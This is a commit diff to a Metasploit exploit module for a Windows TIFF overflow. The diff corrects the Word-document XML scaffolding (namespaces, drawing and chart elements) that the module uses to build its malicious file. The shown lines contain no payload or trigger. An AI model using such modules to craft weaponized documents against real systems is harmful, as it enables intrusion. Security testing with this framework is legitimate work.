More progress

modules/exploits/windows/fileformat/mswin_tiff_overflow.rb

@@ -312,13 +312,14 @@ class Metasploit3 < Msf::Exploit::Remote
 
       xml.drawing do
         xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
-          xml.extent({'cx'=>'1', 'cy'=>'1'})
-          xml.effectExtent({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
-          xml.docPr({'id'=>rid.to_s, 'name' => "drawing #{rid.to_s}"})
-          xml.cNvGraphicFramePr
-          xml['a'].graphic({'xmlns'=>"#{drawingml_schema}/main"}) do
+          xml['wp'].extent({'cx'=>'1', 'cy'=>'1'})
+          xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
+          xml['wp'].docPr({'id'=>rid.to_s, 'name' => "drawing #{rid.to_s}"})
+          xml['wp'].cNvGraphicFramePr
+
+          xml['a'].graphic do
             xml['a'].graphicData({'uri'=>"#{drawingml_schema}/chart"}) do
-              xml['c'].chart({'xmlns:c'=>"#{drawingml_schema}/chart", 'xmlns:r'=>@schema})
+              xml['c'].chart({'r:id'=>"rId#{rid.to_s}"})
             end
           end
         end
@@ -443,8 +444,8 @@ class Metasploit3 < Msf::Exploit::Remote
       'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
       'xmlns:w'   => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
       'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
-      'xmlns:a'   => "http://schemas.openxmlformats.org/markup-compatibility/2006",
-      'xmlns:c'   => "http://schemas.openxmlformats.org/markup-compatibility/2006"
+      'xmlns:a'   => "http://schemas.openxmlformats.org/drawingml/2006/main",
+      'xmlns:c'   => "http://schemas.openxmlformats.org/drawingml/2006/chart"
     }
 
     p_attrs_1 = {'w:rsidR' => "00F8254F", 'w:rsidRDefault' => "00D15BD0" }
@@ -490,12 +491,15 @@ class Metasploit3 < Msf::Exploit::Remote
       end
     end
 
+    # Bug in the API causing some graphic nodes (names) not parsed correctly
+    xml = builder.to_xml(:indent => 0)
+
     {
       :id           => (last_rid + 1).to_s,
       :type         => "#{@schema}/officeDocument",
       :fname        => "/word/document.xml",
       :content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml",
-      :xml          => builder.to_xml(:indent => 0)
+      :xml          => xml
     }
   end